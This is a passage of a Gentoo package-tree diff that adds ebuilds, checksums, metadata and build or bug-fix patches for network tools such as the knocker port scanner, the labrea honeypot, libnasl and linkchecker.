+ knocker_term_color_fprintf (knocker_output_fp, "failed to resolve given hostname/IP: ", KNOCKER_COLOR_1, KNOCKER_COLOR_1_ATTR);
+@@ -157,7 +157,7 @@
+ */
+ void knocker_output_ports_info (int sp, int ep)
+ {
+- if (!knocker_args.fency)
++ if (!knocker_args.fancy)
+ {
+ knocker_term_color_fprintf (knocker_output_fp, "\n", KNOCKER_COLOR_2, KNOCKER_COLOR_2_ATTR);
+ return;
+@@ -183,7 +183,7 @@
+ */
+ void knocker_output_open_port (int port, char *service_str)
+ {
+- if (knocker_args.fency)
++ if (knocker_args.fancy)
+ {
+ knocker_term_color_fprintf (knocker_output_fp, " -=[ ", KNOCKER_COLOR_1, KNOCKER_COLOR_1_ATTR);
+ knocker_term_color_intfprintf (knocker_output_fp, port, KNOCKER_COLOR_2, KNOCKER_COLOR_2_ATTR);
+@@ -216,7 +216,7 @@
+ */
+ void knocker_output_results (char *hostname_str, char *hostname_ip, int tot_ps, int open_ps, char *secs)
+ {
+- if (knocker_args.fency)
++ if (knocker_args.fancy)
+ {
+ knocker_term_color_fprintf (knocker_output_fp, "\n", KNOCKER_COLOR_2, KNOCKER_COLOR_2_ATTR);
+ knocker_term_color_fprintf (knocker_output_fp, "+=- - - - - - - - - - - - - - - - - - - - - - - - - - - - ",
+--- a/src/knocker_main.c
++++ b/src/knocker_main.c
+@@ -75,7 +75,7 @@
+
+ knocker_core_init_portscan_data (&pscan_data);
+
+- if (knocker_args.fency)
++ if (knocker_args.fancy)
+ knocker_term_clear ();
+
+ knocker_output_open ();
+--- a/src/knocker_args.h
++++ b/src/knocker_args.h
+@@ -53,9 +53,9 @@
+ #define QUIET_MODE_SHORT_OPT "-q"
+ #define QUIET_MODE_LONG_OPT "--quiet"
+
+- /* option to disable fency cool out put */
+-#define NO_FENCY_SHORT_OPT "-nf"
+-#define NO_FENCY_LONG_OPT "--no-fency"
++ /* option to disable fancy cool out put */
++#define NO_FANCY_SHORT_OPT "-nf"
++#define NO_FANCY_LONG_OPT "--no-fancy"
+
+ /* option to disable colored out put */
+ #define NO_COLORS_SHORT_OPT "-nc"
+@@ -88,7 +88,7 @@
+ int logfile; /* log to file TRUE,FALSE */
+ int quiet; /* quiet mode TRUE,FALSE */
+ int colors; /* no colors, TRUE,FALSE */
+- int fency; /* fency output, TRUE, FALSE */
++ int fancy; /* fancy output, TRUE, FALSE */
+ int win32_frontend;
+ } knocker_args_t;
+
+--- a/docs/knocker.1
++++ b/docs/knocker.1
+@@ -38,8 +38,8 @@
+ \fB\-lf\fr, \fB\-\-logfile <logfile>\fR
+ log the results to a specified file.
+ .TP
+-\fB\-nf\fr, \fB\-\-no-fency\fR
+-disable fency output
++\fB\-nf\fr, \fB\-\-no-fancy\fR
++disable fancy output
+ .TP
+ \fB\-nc\fr, \fB\-\-no-colors\fR
+ disable colored output
diff --git a/net-analyzer/knocker/files/knocker-0.7.1-free.patch b/net-analyzer/knocker/files/knocker-0.7.1-free.patch
new file mode 100644
index 000000000000..5381d2fd83e3
--- /dev/null
+++ b/net-analyzer/knocker/files/knocker-0.7.1-free.patch
@@ -0,0 +1,30 @@
+--- a/src/knocker_conf.c
++++ b/src/knocker_conf.c
+@@ -223,6 +223,8 @@
+ {
+ char *tmpp = malloc (strlen (line));
+ char *p = malloc (strlen (line));
++ char *tmpp_orig = tmpp;
++ char *p_orig = p;
+
+ /* Check if the option is present in the line */
+ tmpp = strstr (line, opt);
+@@ -234,7 +236,7 @@
+
+ if (!_isblank (*tmpp) || *tmpp != KNOCKER_OPTION_TOKEN)
+ {
+- free (tmpp);
++ free (tmpp_orig);
+ return 0;
+ }
+
+@@ -247,8 +249,7 @@
+
+ strcpy (value, p);
+
+- /* free(p); this cause knocker to segfault */
+- /* well I have to know why... */
++ free(p_orig);
+
+ return 1;
+ }
diff --git a/net-analyzer/knocker/files/knocker-0.7.1-knocker_user_is_root.patch b/net-analyzer/knocker/files/knocker-0.7.1-knocker_user_is_root.patch
new file mode 100644
index 000000000000..d93136b2f255
--- /dev/null
+++ b/net-analyzer/knocker/files/knocker-0.7.1-knocker_user_is_root.patch
@@ -0,0 +1,11 @@
+--- a/src/knocker_user.c
++++ b/src/knocker_user.c
+@@ -82,7 +82,7 @@
+ _dir_create (user->dir);
+ }
+
+- if (knocker_user_is_root)
++ if (knocker_user_is_root())
+ user->super = 1;
+ else
+ user->super = 0;
diff --git a/net-analyzer/knocker/knocker-0.7.1-r2.ebuild b/net-analyzer/knocker/knocker-0.7.1-r2.ebuild
new file mode 100644
index 000000000000..de9a3307edad
--- /dev/null
+++ b/net-analyzer/knocker/knocker-0.7.1-r2.ebuild
@@ -0,0 +1,30 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="4"
+
+inherit base toolchain-funcs
+
+DESCRIPTION="Knocker is an easy to use security port scanner written in C"
+SRC_URI="mirror://sourceforge/${PN}/${P}.tar.gz"
+HOMEPAGE="http://knocker.sourceforge.net"
+
+SLOT="0"
+LICENSE="GPL-2"
+KEYWORDS="amd64 ppc x86"
+IUSE=""
+
+DEPEND=""
+RDEPEND=""
+
+DOCS="AUTHORS BUGS ChangeLog NEWS README TO-DO"
+
+PATCHES=( "${FILESDIR}"/${P}-free.patch )
+
+src_prepare() {
+ # fix configure checks for compiler, wrt bug #442962
+ tc-export CC
+
+ base_src_prepare
+}
diff --git a/net-analyzer/knocker/knocker-0.7.1-r3.ebuild b/net-analyzer/knocker/knocker-0.7.1-r3.ebuild
new file mode 100644
index 000000000000..55ca0de66051
--- /dev/null
+++ b/net-analyzer/knocker/knocker-0.7.1-r3.ebuild
@@ -0,0 +1,26 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit base toolchain-funcs
+
+DESCRIPTION="Knocker is an easy to use security port scanner written in C"
+SRC_URI="mirror://sourceforge/${PN}/${P}.tar.gz"
+HOMEPAGE="http://knocker.sourceforge.net"
+
+SLOT="0"
+LICENSE="GPL-2"
+KEYWORDS="amd64 ppc x86"
+
+DOCS=( AUTHORS BUGS ChangeLog NEWS README TO-DO )
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}"/${P}-fency.patch \
+ "${FILESDIR}"/${P}-free.patch \
+ "${FILESDIR}"/${P}-knocker_user_is_root.patch
+
+ tc-export CC
+}
diff --git a/net-analyzer/knocker/metadata.xml b/net-analyzer/knocker/metadata.xml
new file mode 100644
index 000000000000..566c8ae56e64
--- /dev/null
+++ b/net-analyzer/knocker/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <upstream>
+ <remote-id type="sourceforge">knocker</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/labrea/Manifest b/net-analyzer/labrea/Manifest
new file mode 100644
index 000000000000..2a0c42acbe3e
--- /dev/null
+++ b/net-analyzer/labrea/Manifest
@@ -0,0 +1 @@
+DIST labrea-2.5-stable-1.tar.gz 210494 SHA256 7db462576a7e9446906ed7b8ce9f61a2754fdefd73bf0c369c9c17c96c9644b4 SHA512 63523f59e9e6ca31d2a5ea781f7b7087e7e41835aec24cd8cbf1cf7b65893fb1cedb2b13aa5fcfab458375ef27f5521a9ab88a71734b7317edf8eda2746c566c WHIRLPOOL 72ac934a2e5744d1da0bf9456633b71a3757b3583fd899e78df6400bd15b4e8602e4b36e6e920517117d222bbbc81faf13258e9c53d4308f2167d3d174fb299f
diff --git a/net-analyzer/labrea/files/labrea-2.5-stable-1-incdir.patch b/net-analyzer/labrea/files/labrea-2.5-stable-1-incdir.patch
new file mode 100644
index 000000000000..54293a64b572
--- /dev/null
+++ b/net-analyzer/labrea/files/labrea-2.5-stable-1-incdir.patch
@@ -0,0 +1,11 @@
+--- a/src/Makefile.am
++++ b/src/Makefile.am
+@@ -2,7 +2,7 @@
+
+
+
+-AM_CPPFLAGS = -I../inc -I- @DNETINC@ @PCAPINC@
++AM_CPPFLAGS = -iquote../inc @DNETINC@ @PCAPINC@ -idirafter/usr/include/asm
+
+ sbin_PROGRAMS = labrea
+
diff --git a/net-analyzer/labrea/labrea-2.5-r2.ebuild b/net-analyzer/labrea/labrea-2.5-r2.ebuild
new file mode 100644
index 000000000000..52591b903e24
--- /dev/null
+++ b/net-analyzer/labrea/labrea-2.5-r2.ebuild
@@ -0,0 +1,40 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit autotools eutils
+
+DESCRIPTION="'Sticky' Honeypot and IDS"
+HOMEPAGE="http://labrea.sourceforge.net/"
+SRC_URI="mirror://sourceforge/${PN}/${P}-stable-1.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ~ppc x86"
+
+DEPEND="net-libs/libpcap
+ >=dev-libs/libdnet-1.7"
+RDEPEND="${DEPEND}"
+
+MY_P="${P}-stable-1"
+S=${WORKDIR}/${MY_P}
+
+DOCS=( AUTHORS ChangeLog README TODO NEWS )
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-stable-1-incdir.patch
+ eautoreconf
+}
+
+src_install() {
+ default
+ newdoc INSTALL README.first
+}
+
+pkg_postinst() {
+ ewarn "Before using this package READ the INSTALL and README"
+ ewarn "as the author states that it can cause serious problems on your network."
+
+}
diff --git a/net-analyzer/labrea/metadata.xml b/net-analyzer/labrea/metadata.xml
new file mode 100644
index 000000000000..ac7bafe98b68
--- /dev/null
+++ b/net-analyzer/labrea/metadata.xml
@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <longdescription>'Sticky' Honeypot and IDS</longdescription>
+ <upstream>
+ <remote-id type="sourceforge">labrea</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/lft/Manifest b/net-analyzer/lft/Manifest
new file mode 100644
index 000000000000..03b3bfeff41e
--- /dev/null
+++ b/net-analyzer/lft/Manifest
@@ -0,0 +1 @@
+DIST lft-3.73.tar.gz 373097 SHA256 3ecd5371a827288a5f5a4abbd8a5ea8229e116fc2f548cee9afeb589bf206114 SHA512 ae0fac196aa4cee7a4f9832c1d4ee9e6bb012513b95e73f7818bd0d66c9347c8ee776532defdcd7425cc4866c95b37a93f8117c53cdbe22d229bbb4453dc552b WHIRLPOOL ab6d28d1b71239ef70ee313e09f1ed6112d3a711d7413981cf71d0cd828580e882b9e636a15eff80df1c3dcafbcdeec2fbba6af09273e3f1351e58052d024d56
diff --git a/net-analyzer/lft/lft-3.73.ebuild b/net-analyzer/lft/lft-3.73.ebuild
new file mode 100644
index 000000000000..40f30003b906
--- /dev/null
+++ b/net-analyzer/lft/lft-3.73.ebuild
@@ -0,0 +1,22 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+DESCRIPTION="Layer Four Traceroute: an advanced traceroute implementation"
+HOMEPAGE="http://pwhois.org/lft/"
+SRC_URI="http://dev.gentoo.org/~jer/${P}.tar.gz"
+
+LICENSE="VOSTROM"
+SLOT="0"
+KEYWORDS="amd64 ppc x86 ~amd64-linux ~x86-linux ~ppc-macos"
+
+DEPEND="net-libs/libpcap"
+RDEPEND="${DEPEND}"
+
+DOCS=( CHANGELOG README TODO )
+
+src_prepare() {
+ sed -i Makefile.in -e '/[Ss]trip/d' || die
+}
diff --git a/net-analyzer/lft/metadata.xml b/net-analyzer/lft/metadata.xml
new file mode 100644
index 000000000000..b7434eafd0ba
--- /dev/null
+++ b/net-analyzer/lft/metadata.xml
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+<longdescription>Layer Four Traceroute: an advanced traceroute implementation</longdescription>
+</pkgmetadata>
diff --git a/net-analyzer/libnasl/Manifest b/net-analyzer/libnasl/Manifest
new file mode 100644
index 000000000000..b59e7b913582
--- /dev/null
+++ b/net-analyzer/libnasl/Manifest
@@ -0,0 +1 @@
+DIST libnasl-2.2.9.tar.gz 366960 SHA256 2d9cebfe69e40963d790295993e096697a0bed37774b66ee8b14e48c2231fa93 SHA512 74a637d39f0d61c9e0f692d3a6754000ef635690a61b05c88608fd5bbee438ce720597babe25af80bccd4fca52f22531b3fc913820a13147c179f8a16c034e03 WHIRLPOOL 3d02768d18451c0a648f56bb55a118587c77598c1cefb1fba4db538b9266016f76710038e714813bfbce392a3054115a2345413269cbb58246519baee9338f83
diff --git a/net-analyzer/libnasl/files/libnasl-2.2.9-bison3.patch b/net-analyzer/libnasl/files/libnasl-2.2.9-bison3.patch
new file mode 100644
index 000000000000..91f91fa38e09
--- /dev/null
+++ b/net-analyzer/libnasl/files/libnasl-2.2.9-bison3.patch
@@ -0,0 +1,29 @@
+--- a/nasl/nasl_grammar.y
++++ b/nasl/nasl_grammar.y
+@@ -1,4 +1,6 @@
+-%pure_parser
++%pure-parser
++%parse-param {naslctxt * parm}
++%lex-param {naslctxt * parm}
+ %expect 1
+ %{
+ /* Nessus Attack Scripting Language version 2
+@@ -31,7 +33,7 @@
+ #include "nasl_lex_ctxt.h"
+ #include "nasl_debug.h"
+
+-static void naslerror(const char *);
++static void naslerror(naslctxt *, const char *);
+ #define YYERROR_VERBOSE
+ %}
+
+@@ -465,8 +467,7 @@
+ #include <stdio.h>
+ #include <stdlib.h>
+
+-static void
+-naslerror(const char *s)
++static void naslerror(naslctxt *parm, const char *s)
+ {
+ fputs(s, stderr);
+ }
diff --git a/net-analyzer/libnasl/files/libnasl-2.2.9-gentoo.patch b/net-analyzer/libnasl/files/libnasl-2.2.9-gentoo.patch
new file mode 100644
index 000000000000..c82f76d60016
--- /dev/null
+++ b/net-analyzer/libnasl/files/libnasl-2.2.9-gentoo.patch
@@ -0,0 +1,29 @@
+index 860653d..82bdf2f 100644
+--- a/Makefile
++++ b/Makefile
+@@ -1,7 +1,7 @@
+ include nasl.tmpl
+
+ all:
+- cd nasl && ${MAKE}
++ ${MAKE} -C nasl
+
+ nasl.tmpl: nasl.tmpl.in configure
+ $(SHELL) configure $(CONFIGURE_ARGS)
+--- a/nasl/Makefile
++++ b/nasl/Makefile
+@@ -97,11 +97,11 @@ cflags :
+ @echo "echo \"$(NESSUS_CFLAGS) $(include) $(DEFS) \"" > cflags
+ @chmod +x cflags
+
+-nasl : cflags $(OBJS) nasl.c
+- $(CC) $(CFLAGS) $(NESSUS_INCLUDE) $(include) -o nasl -DVERSION=\"$(VERSION)\" nasl.c $(OBJS) $(NESSUS_LIBS)
++nasl : cflags $(OBJS) nasl.c libnasl.la
++ $(CC) $(CFLAGS) $(LDFLAGS) $(NESSUS_INCLUDE) $(include) -o nasl -DVERSION=\"$(VERSION)\" nasl.c $(OBJS) $(NESSUS_LIBS)
+
+ libnasl.la : cflags $(OBJS)
+- $(COMPILE) $(NESSUS_LIBS) -o libnasl.la $(LO_OBJS) -rpath ${libdir} \
++ $(COMPILE) $(NESSUS_LIBS) $(LDFLAGS) -o libnasl.la $(LO_OBJS) -rpath ${libdir} \
+ -version-info ${PACKAGE_VERSION}
+
+ install : libnasl.la nasl
diff --git a/net-analyzer/libnasl/files/libnasl-2.2.9-openssl-1.patch b/net-analyzer/libnasl/files/libnasl-2.2.9-openssl-1.patch
new file mode 100644
index 000000000000..fc3b38be4c2e
--- /dev/null
+++ b/net-analyzer/libnasl/files/libnasl-2.2.9-openssl-1.patch
@@ -0,0 +1,45 @@
+http://bugs.gentoo.org/326545
+
+--- a/nasl/nasl_crypto.c
++++ b/nasl/nasl_crypto.c
+@@ -22,7 +22,9 @@
+ */
+ #include <includes.h>
+ #ifdef HAVE_SSL
++#ifdef HAVE_OPENSSL_MD2_H
+ #include <openssl/md2.h>
++#endif
+ #include <openssl/md4.h>
+ #include <openssl/md5.h>
+ #include <openssl/ripemd.h>
+@@ -45,6 +47,7 @@
+
+
+ /*-------------------[ Std. HASH ]-------------------------------------*/
++#ifdef HAVE_OPENSSL_MD2_H
+ tree_cell * nasl_md2(lex_ctxt * lexic)
+ {
+ char * data = get_str_var_by_num(lexic, 0);
+@@ -63,6 +66,7 @@
+ retc->size = MD2_DIGEST_LENGTH;
+ return retc;
+ }
++#endif
+
+ tree_cell * nasl_md4(lex_ctxt * lexic)
+ {
+@@ -192,12 +196,12 @@
+ return retc;
+ }
+
+-
++#ifdef HAVE_OPENSSL_MD2_H
+ tree_cell * nasl_hmac_md2(lex_ctxt * lexic)
+ {
+ return nasl_hmac(lexic, EVP_md2());
+ }
+-
++#endif
+
+ tree_cell * nasl_hmac_md5(lex_ctxt * lexic)
+ {
diff --git a/net-analyzer/libnasl/libnasl-2.2.9-r1.ebuild b/net-analyzer/libnasl/libnasl-2.2.9-r1.ebuild
new file mode 100644
index 000000000000..6f6f00f9ad53
--- /dev/null
+++ b/net-analyzer/libnasl/libnasl-2.2.9-r1.ebuild
@@ -0,0 +1,55 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils toolchain-funcs
+
+DESCRIPTION="A remote security scanner for Linux (libnasl)"
+HOMEPAGE="http://www.nessus.org/"
+SRC_URI="ftp://ftp.nessus.org/pub/nessus/nessus-${PV}/src/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~alpha ~amd64 ~ppc ~ppc64 ~sparc ~x86 ~x86-fbsd ~amd64-linux"
+IUSE="static-libs"
+
+RDEPEND="
+ ~net-analyzer/nessus-libraries-${PV}
+"
+DEPEND="
+ ${RDEPEND}
+ sys-devel/bison
+"
+
+S=${WORKDIR}/${PN}
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}"/${P}-openssl-1.patch \
+ "${FILESDIR}"/${P}-gentoo.patch \
+ "${FILESDIR}"/${P}-bison3.patch
+
+ sed \
+ -e "/^LDFLAGS/s:$:${LDFLAGS}:g" \
+ -i nasl.tmpl.in || die
+
+ tc-export CC
+}
+
+src_configure() {
+ econf \
+ $(use_enable static-libs static) \
+ --enable-shared
+}
+
+src_compile() {
+ # emake fails for >= -j2. bug #16471.
+ emake -C nasl cflags
+ emake
+}
+
+src_install() {
+ default
+ prune_libtool_files
+}
diff --git a/net-analyzer/libnasl/metadata.xml b/net-analyzer/libnasl/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/libnasl/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/lilac/Manifest b/net-analyzer/lilac/Manifest
new file mode 100644
index 000000000000..ff375822c400
--- /dev/null
+++ b/net-analyzer/lilac/Manifest
@@ -0,0 +1 @@
+DIST lilac-1.0.3.tar.gz 1794493 SHA256 af684cf91fd850705837ee95e3a222c56fc71fd4ab5165e08b98a5fb913d13fa SHA512 bee9ddb7f4adc2199ee804db2d5758bb172f7f18a868206774d54d2ad7b9741a16152dbdd8c8c7cd82e6375428c9d0466bd38e3affdab55bcb574914f0fb813c WHIRLPOOL 3d01715ad25cf07688d19f190480791c73224e7c311f14a79204a1cbedd6808def6a4bcb6cf51dd597e8cc00ef5811db925a379c8fbfc13fecce2b9af35c7b39
diff --git a/net-analyzer/lilac/lilac-1.0.3.ebuild b/net-analyzer/lilac/lilac-1.0.3.ebuild
new file mode 100644
index 000000000000..63c8db1aa71a
--- /dev/null
+++ b/net-analyzer/lilac/lilac-1.0.3.ebuild
@@ -0,0 +1,37 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit eutils webapp depend.php
+
+DESCRIPTION="Web-based configuration tool written to configure Nagios"
+HOMEPAGE="http://www.lilacplatform.com"
+SRC_URI="mirror://gentoo/${P}.tar.gz"
+
+LICENSE="GPL-2"
+KEYWORDS="~amd64 ~x86"
+
+RDEPEND="
+ >=dev-php/PEAR-PEAR-1.6.1
+ >=net-analyzer/nagios-3.0
+ >=virtual/mysql-5.0
+ dev-lang/php[curl,json,mysql,pcntl,pdo,posix,simplexml]
+"
+
+need_php_httpd
+
+src_install() {
+ webapp_src_preinst
+
+ dodoc INSTALL UPGRADING
+ rm -f INSTALL UPGRADING
+
+ insinto "${MY_HTDOCSDIR}"
+ doins -r .
+
+ webapp_configfile "${MY_HTDOCSDIR}"/includes/lilac-conf.php.dist
+ webapp_serverowned "${MY_HTDOCSDIR}"/includes/lilac-conf.php.dist
+ webapp_src_install
+}
diff --git a/net-analyzer/lilac/metadata.xml b/net-analyzer/lilac/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/lilac/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/linkchecker/Manifest b/net-analyzer/linkchecker/Manifest
new file mode 100644
index 000000000000..05bbc69fa0d3
--- /dev/null
+++ b/net-analyzer/linkchecker/Manifest
@@ -0,0 +1 @@
+DIST LinkChecker-9.3.tar.gz 719896 SHA256 ee0aa60de440fdcf8587ddebf1f691bc777a32d8d4f119beed63f405dc56176d SHA512 26686e5373aaa942b631b5184f8bda8fbe1410c8875bf8499a2b61dc18b7bdfa29a3c18edf98c28dc189a493a3f5794a0020a0211b7d5d3814b33994603dcc59 WHIRLPOOL 6b0b41d3edacafba6ae5df5b0f4ccf1fb5877c938acdd2d66c443bf10c43fcc9213f08cfff212a1a259d9f767138cd04fc1c481db1594d426784b0ce5702ee5f
diff --git a/net-analyzer/linkchecker/files/7.0-unbundle.patch b/net-analyzer/linkchecker/files/7.0-unbundle.patch
new file mode 100644
index 000000000000..74b9d11c26e9
--- /dev/null
+++ b/net-analyzer/linkchecker/files/7.0-unbundle.patch
@@ -0,0 +1,28 @@
+ setup.py | 7 -------
+ 1 files changed, 0 insertions(+), 7 deletions(-)
+
+diff --git a/setup.py b/setup.py
+index 8eace2a..e6aaf68 100644
+--- a/setup.py
++++ b/setup.py
+@@ -754,9 +754,6 @@ o a (Fast)CGI web interface (requires HTTP server)
+ 'py2app': MyPy2app,
+ 'register': MyRegister,
+ },
+- package_dir = {
+- 'dns': 'third_party/dnspython/dns',
+- },
+ packages = [
+ 'linkcheck',
+ 'linkcheck.bookmarks',
+@@ -769,10 +766,6 @@ o a (Fast)CGI web interface (requires HTTP server)
+ 'linkcheck.HtmlParser',
+ 'linkcheck.logger',
+ 'linkcheck.network',
+- 'dns',
+- 'dns.rdtypes',
+- 'dns.rdtypes.ANY',
+- 'dns.rdtypes.IN',
+ ],
+ ext_modules = [
+ Extension('linkcheck.HtmlParser.htmlsax',
diff --git a/net-analyzer/linkchecker/files/7.4-missing-files.patch b/net-analyzer/linkchecker/files/7.4-missing-files.patch
new file mode 100644
index 000000000000..cb8e44ad5919
--- /dev/null
+++ b/net-analyzer/linkchecker/files/7.4-missing-files.patch
@@ -0,0 +1,13 @@
+diff --git a/setup.py b/setup.py
+index 38b4c15..716203d 100755
+--- a/setup.py
++++ b/setup.py
+@@ -375,7 +375,7 @@ myemail = "calvin@users.sourceforge.net"
+ data_files = [
+ ('share/linkchecker',
+ ['config/linkcheckerrc',
+- 'doc/html/lccollection.qhc', 'doc/html/lcdoc.qch']),
++ 'doc/html/lccollection.qhcp', 'doc/html/lcdoc.qhp']),
+ ('share/linkchecker/examples',
+ ['cgi-bin/lconline/leer.html.en',
+ 'cgi-bin/lconline/leer.html.de',
diff --git a/net-analyzer/linkchecker/files/linkchecker-8.0-desktop.patch b/net-analyzer/linkchecker/files/linkchecker-8.0-desktop.patch
new file mode 100644
index 000000000000..dc07637e0fac
--- /dev/null
+++ b/net-analyzer/linkchecker/files/linkchecker-8.0-desktop.patch
@@ -0,0 +1,28 @@
+ doc/linkchecker-gui.desktop | 2 +-
+ doc/linkchecker.desktop | 4 ++--
+ 2 files changed, 3 insertions(+), 3 deletions(-)
+
+diff --git a/doc/linkchecker-gui.desktop b/doc/linkchecker-gui.desktop
+index 7e06b6e..1b3988f 100644
+--- a/doc/linkchecker-gui.desktop
++++ b/doc/linkchecker-gui.desktop
+@@ -6,5 +6,5 @@ Version=1.0
+ Type=Application
+ Exec=linkchecker-gui
+ Terminal=false
+-Categories=Network;WebDevelopment
++Categories=Network;WebDevelopment;
+ Icon=logo48x48
+diff --git a/doc/linkchecker.desktop b/doc/linkchecker.desktop
+index 0c0617c..7a88405 100644
+--- a/doc/linkchecker.desktop
++++ b/doc/linkchecker.desktop
+@@ -5,6 +5,6 @@ GenericName[de]=URL Validator
+ Version=1.0
+ Type=Application
+ Exec=linkchecker
+-Terminal=True
+-Categories=Network;WebDevelopment
++Terminal=true
++Categories=Network;WebDevelopment;
+ Icon=logo48x48
diff --git a/net-analyzer/linkchecker/files/linkchecker-8.3-unbundle.patch b/net-analyzer/linkchecker/files/linkchecker-8.3-unbundle.patch
new file mode 100644
index 000000000000..558bb2710d96
--- /dev/null
+++ b/net-analyzer/linkchecker/files/linkchecker-8.3-unbundle.patch
@@ -0,0 +1,28 @@
+ setup.py | 7 -------
+ 1 file changed, 7 deletions(-)
+
+diff --git a/setup.py b/setup.py
+index 36c2536..99fdf08 100644
+--- a/setup.py
++++ b/setup.py
+@@ -898,9 +898,6 @@ o a command line, GUI and web interface
+ 'py2app': MyPy2app,
+ 'register': MyRegister,
+ },
+- package_dir = {
+- 'linkcheck_dns.dns': 'third_party/dnspython/dns',
+- },
+ packages = [
+ 'linkcheck',
+ 'linkcheck.bookmarks',
+@@ -913,10 +910,6 @@ o a command line, GUI and web interface
+ 'linkcheck.HtmlParser',
+ 'linkcheck.logger',
+ 'linkcheck.network',
+- 'linkcheck_dns.dns',
+- 'linkcheck_dns.dns.rdtypes',
+- 'linkcheck_dns.dns.rdtypes.ANY',
+- 'linkcheck_dns.dns.rdtypes.IN',
+ ],
+ ext_modules = [
+ Extension('linkcheck.HtmlParser.htmlsax',
diff --git a/net-analyzer/linkchecker/files/linkchecker-8.4-help.patch b/net-analyzer/linkchecker/files/linkchecker-8.4-help.patch
new file mode 100644
index 000000000000..32360b6ea89e
--- /dev/null
+++ b/net-analyzer/linkchecker/files/linkchecker-8.4-help.patch
@@ -0,0 +1,36 @@
+From a7c1cdd6f69a1b91a95361359e49494b4ed88701 Mon Sep 17 00:00:00 2001
+From: Bastian Kleineidam <bastian.kleineidam@web.de>
+Date: Tue, 10 Dec 2013 20:56:26 +0100
+Subject: [PATCH] Check for help files.
+
+---
+ linkcheck/configuration/__init__.py | 6 ++++--
+ 2 files changed, 6 insertions(+), 2 deletions(-)
+
+diff --git a/linkcheck/configuration/__init__.py b/linkcheck/configuration/__init__.py
+index 3b72499..f40f285 100644
+--- a/linkcheck/configuration/__init__.py
++++ b/linkcheck/configuration/__init__.py
+@@ -96,7 +96,8 @@ def get_share_file (devel_dir, filename):
+ @param filename: filename to search for
+ @ptype filename: string
+ @return: the found filename or None
+- @rtype: string or None
++ @rtype: string
++ @raises: ValueError if not found
+ """
+ paths = [
+ # when developing
+@@ -112,7 +113,8 @@ def get_share_file (devel_dir, filename):
+ if os.path.isfile(fullpath):
+ return fullpath
+ # not found
+- return None
++ msg = "%s not found in %s; check your installation" % (filename, paths)
++ raise ValueError(msg)
+
+
+ # dynamic options
+--
+1.8.5.1
+
diff --git a/net-analyzer/linkchecker/files/linkchecker-9.2-unbundle.patch b/net-analyzer/linkchecker/files/linkchecker-9.2-unbundle.patch
new file mode 100644
index 000000000000..598f856b0007
--- /dev/null
+++ b/net-analyzer/linkchecker/files/linkchecker-9.2-unbundle.patch
@@ -0,0 +1,30 @@
+ setup.py | 7 -------
+ 1 file changed, 7 deletions(-)
+
+diff --git a/setup.py b/setup.py
+old mode 100755
+new mode 100644
+index dc30a7d..d62622b
+--- a/setup.py
++++ b/setup.py
+@@ -900,9 +900,6 @@ o a command line, GUI and web interface
+ 'py2exe': MyPy2exe,
+ 'py2app': MyPy2app,
+ },
+- package_dir = {
+- 'linkcheck_dns.dns': 'third_party/dnspython/dns',
+- },
+ packages = [
+ 'linkcheck',
+ 'linkcheck.bookmarks',
+@@ -917,10 +914,6 @@ o a command line, GUI and web interface
+ 'linkcheck.network',
+ 'linkcheck.parser',
+ 'linkcheck.plugins',
+- 'linkcheck_dns.dns',
+- 'linkcheck_dns.dns.rdtypes',
+- 'linkcheck_dns.dns.rdtypes.ANY',
+- 'linkcheck_dns.dns.rdtypes.IN',
+ ],
+ ext_modules = [
+ Extension('linkcheck.HtmlParser.htmlsax',
diff --git a/net-analyzer/linkchecker/files/linkchecker-9.3-bash-completion.patch b/net-analyzer/linkchecker/files/linkchecker-9.3-bash-completion.patch
new file mode 100644
index 000000000000..5c7540f0bc85
--- /dev/null
+++ b/net-analyzer/linkchecker/files/linkchecker-9.3-bash-completion.patch
@@ -0,0 +1,21 @@
+ config/linkchecker-completion | 3 +--
+ 1 file changed, 1 insertion(+), 2 deletions(-)
+
